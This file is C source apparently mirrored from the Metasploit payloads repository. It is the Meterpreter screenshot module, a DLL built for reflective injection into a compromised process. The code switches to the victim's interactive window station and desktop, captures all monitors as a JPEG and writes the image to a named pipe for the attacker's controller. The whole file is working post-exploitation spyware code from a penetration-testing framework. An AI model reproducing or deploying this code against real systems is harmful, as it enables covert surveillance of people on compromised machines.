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mirror of https://github.com/rapid7/metasploit-payloads synced 2025-01-08 14:36:22 +01:00
metasploit-payloads/c/meterpreter/source/screenshot/screenshot.c
2014-01-27 22:51:40 +01:00

332 lines
9.4 KiB
C

#include "screenshot.h"
#include "bmp2jpeg.h"
// define this as we are going to be injected via RDI
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// define this as we want to use our own DllMain function
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
// include the Reflectiveloader() function
#include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
/*
* Send a buffer to a named pipe server.
*/
DWORD screenshot_send( char * cpNamedPipe, BYTE * pJpegBuffer, DWORD dwJpegSize )
{
DWORD dwResult = ERROR_ACCESS_DENIED;
HANDLE hPipe = NULL;
DWORD dwWritten = 0;
DWORD dwTotal = 0;
do
{
hPipe = CreateFileA( cpNamedPipe, GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
if( !hPipe )
BREAK_ON_ERROR( "[SCREENSHOT] screenshot_send. CreateFileA failed" );
if( !WriteFile( hPipe, (LPCVOID)&dwJpegSize, sizeof(DWORD), &dwWritten, NULL ) )
BREAK_ON_ERROR( "[SCREENSHOT] screenshot_send. WriteFile JPEG length failed" );
if( !dwJpegSize || !pJpegBuffer )
BREAK_WITH_ERROR( "[SCREENSHOT] screenshot_send. No JPEG to transmit.", ERROR_BAD_LENGTH );
while( dwTotal < dwJpegSize )
{
if( !WriteFile( hPipe, (LPCVOID)(pJpegBuffer + dwTotal), (dwJpegSize - dwTotal), &dwWritten, NULL ) )
break;
dwTotal += dwWritten;
}
if( dwTotal != dwJpegSize )
BREAK_WITH_ERROR( "[SCREENSHOT] screenshot_send. dwTotal != dwJpegSize", ERROR_BAD_LENGTH );
dwResult = ERROR_SUCCESS;
} while( 0 );
CLOSE_HANDLE( hPipe );
return dwResult;
}
/*
* Take a screenshot of this sessions default input desktop on WinSta0
* and send it as a JPEG image to a named pipe.
*/
DWORD screenshot( int quality, DWORD dwPipeName )
{
DWORD dwResult = ERROR_ACCESS_DENIED;
HWINSTA hWindowStation = NULL;
HWINSTA hOrigWindowStation = NULL;
HDESK hInputDesktop = NULL;
HDESK hOrigDesktop = NULL;
HWND hDesktopWnd = NULL;
HDC hdc = NULL;
HDC hmemdc = NULL;
HBITMAP hbmp = NULL;
BYTE * pJpegBuffer = NULL;
OSVERSIONINFO os = {0};
char cNamedPipe[MAX_PATH] = {0};
// If we use SM_C[X|Y]VIRTUALSCREEN we can screenshot the whole desktop of a multi monitor display.
int xmetric = SM_CXVIRTUALSCREEN;
int ymetric = SM_CYVIRTUALSCREEN;
int xposition = SM_XVIRTUALSCREEN;
int yposition = SM_YVIRTUALSCREEN;
DWORD dwJpegSize = 0;
int sx = 0;
int sy = 0;
int sxpos = 0;
int sypos = 0;
do
{
_snprintf_s( cNamedPipe, sizeof(cNamedPipe), MAX_PATH, "\\\\.\\pipe\\%08X", dwPipeName );
os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );
if( !GetVersionEx( &os ) )
BREAK_ON_ERROR( "[SCREENSHOT] screenshot: GetVersionEx failed" )
// On NT we cant use SM_CXVIRTUALSCREEN/SM_CYVIRTUALSCREEN.
if( os.dwMajorVersion <= 4 )
{
xmetric = SM_CXSCREEN;
ymetric = SM_CYSCREEN;
}
// open the WinSta0 as some services are attached to a different window station.
hWindowStation = OpenWindowStationA( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
if( !hWindowStation )
{
if( RevertToSelf() )
hWindowStation = OpenWindowStationA( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
}
// if we cant open the defaut input station we wont be able to take a screenshot
if( !hWindowStation )
BREAK_WITH_ERROR( "[SCREENSHOT] screenshot: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE );
// get the current process's window station so we can restore it later on.
hOrigWindowStation = GetProcessWindowStation();
// set the host process's window station to this sessions default input station we opened
if( !SetProcessWindowStation( hWindowStation ) )
BREAK_ON_ERROR( "[SCREENSHOT] screenshot: SetProcessWindowStation failed" );
// grab a handle to the default input desktop (e.g. Default or WinLogon)
hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED );
if( !hInputDesktop )
BREAK_ON_ERROR( "[SCREENSHOT] screenshot: OpenInputDesktop failed" );
// get the threads current desktop so we can restore it later on
hOrigDesktop = GetThreadDesktop( GetCurrentThreadId() );
// set this threads desktop to that of this sessions default input desktop on WinSta0
SetThreadDesktop( hInputDesktop );
// and now we can grab a handle to this input desktop
hDesktopWnd = GetDesktopWindow();
// and get a DC from it so we can read its pixels!
hdc = GetDC( hDesktopWnd );
if( !hdc )
BREAK_ON_ERROR( "[SCREENSHOT] screenshot. GetDC failed" );
// back up this DC with a memory DC
hmemdc = CreateCompatibleDC( hdc );
if( !hmemdc )
BREAK_ON_ERROR( "[SCREENSHOT] screenshot. CreateCompatibleDC failed" );
// calculate the width and height
sx = GetSystemMetrics( xmetric );
sy = GetSystemMetrics( ymetric );
// calculate the absolute virtual screen position
// prevent breaking functionality on <= NT 4.0
if (os.dwMajorVersion >= 4)
{
sxpos = GetSystemMetrics(xposition);
sypos = GetSystemMetrics(yposition);
}
// and create a bitmap
hbmp = CreateCompatibleBitmap( hdc, sx, sy );
if( !hbmp )
BREAK_ON_ERROR( "[SCREENSHOT] screenshot. CreateCompatibleBitmap failed" );
// this bitmap is backed by the memory DC
if( !SelectObject( hmemdc, hbmp ) )
BREAK_ON_ERROR( "[SCREENSHOT] screenshot. SelectObject failed" );
// BitBlt the screenshot of this sessions default input desktop on WinSta0 onto the memory DC we created
// screenshot all available monitors by default
if( !BitBlt( hmemdc, 0, 0, sx, sy, hdc, sxpos, sypos, SRCCOPY ) )
BREAK_ON_ERROR( "[SCREENSHOT] screenshot. BitBlt failed" );
// finally convert the BMP we just made into a JPEG...
if( bmp2jpeg( hbmp, hmemdc, quality, &pJpegBuffer, &dwJpegSize ) != 1 )
BREAK_WITH_ERROR( "[SCREENSHOT] screenshot. bmp2jpeg failed", ERROR_INVALID_HANDLE );
// we have succeded
dwResult = ERROR_SUCCESS;
} while( 0 );
// if we have successfully taken a screenshot we send it back via the named pipe
// but if we have failed we send back a zero byte result to indicate this failure.
if( dwResult == ERROR_SUCCESS )
screenshot_send( cNamedPipe, pJpegBuffer, dwJpegSize );
else
screenshot_send( cNamedPipe, NULL, 0 );
if( hdc )
ReleaseDC( hDesktopWnd, hdc );
if( hmemdc )
DeleteDC( hmemdc );
if( hbmp )
DeleteObject( hbmp );
// free the jpeg images buffer
if( pJpegBuffer )
free( pJpegBuffer );
// restore the origional process's window station
if( hOrigWindowStation )
SetProcessWindowStation( hOrigWindowStation );
// restore the threads origional desktop
if( hOrigDesktop )
SetThreadDesktop( hOrigDesktop );
// close the WinSta0 window station handle we opened
if( hWindowStation )
CloseWindowStation( hWindowStation );
// close this last to avoid a handle leak...
if( hInputDesktop )
CloseDesktop( hInputDesktop );
return dwResult;
}
/*
* Grab a DWORD value out of the command line.
* e.g. screenshot_command_dword( "/FOO:0x41414141 /BAR:0xCAFEF00D", "/FOO:" ) == 0x41414141
*/
DWORD screenshot_command_dword( char * cpCommandLine, char * cpCommand )
{
char * cpString = NULL;
DWORD dwResult = 0;
do
{
if( !cpCommandLine || !cpCommand )
break;
cpString = strstr( cpCommandLine, cpCommand );
if( !cpString )
break;
cpString += strlen( cpCommand );
dwResult = strtoul( cpString, NULL, 0 );
} while( 0 );
return dwResult;
}
/*
* Grab a int value out of the command line.
* e.g. screenshot_command_int( "/FOO:12345 /BAR:54321", "/FOO:" ) == 12345
*/
int screenshot_command_int( char * cpCommandLine, char * cpCommand )
{
char * cpString = NULL;
int iResult = 0;
do
{
if( !cpCommandLine || !cpCommand )
break;
cpString = strstr( cpCommandLine, cpCommand );
if( !cpString )
break;
cpString += strlen( cpCommand );
iResult = atoi( cpString );
} while( 0 );
return iResult;
}
/*
* The real entrypoint for this app.
*/
VOID screenshot_main( char * cpCommandLine )
{
DWORD dwResult = ERROR_INVALID_PARAMETER;
do
{
dprintf( "[SCREENSHOT] screenshot_main. cpCommandLine=0x%08X", (DWORD)cpCommandLine );
if( !cpCommandLine )
break;
if( strlen( cpCommandLine ) == 0 )
break;
dprintf( "[SCREENSHOT] screenshot_main. lpCmdLine=%s", cpCommandLine );
if( strstr( cpCommandLine, "/s" ) )
{
DWORD dwPipeName = 0;
int quality = 0;
quality = screenshot_command_int( cpCommandLine, "/q:" );
dwPipeName = screenshot_command_dword( cpCommandLine, "/p:" );
dwResult = screenshot( quality, dwPipeName );
}
} while( 0 );
dprintf( "[SCREENSHOT] screenshot_main. ExitThread dwResult=%d", dwResult );
ExitThread( dwResult );
}
/*
* DLL entry point. If we have been injected via RDI, lpReserved will be our command line.
*/
BOOL WINAPI DllMain( HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_PROCESS_ATTACH:
hAppInstance = hInstance;
if( lpReserved != NULL )
screenshot_main( (char *)lpReserved );
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}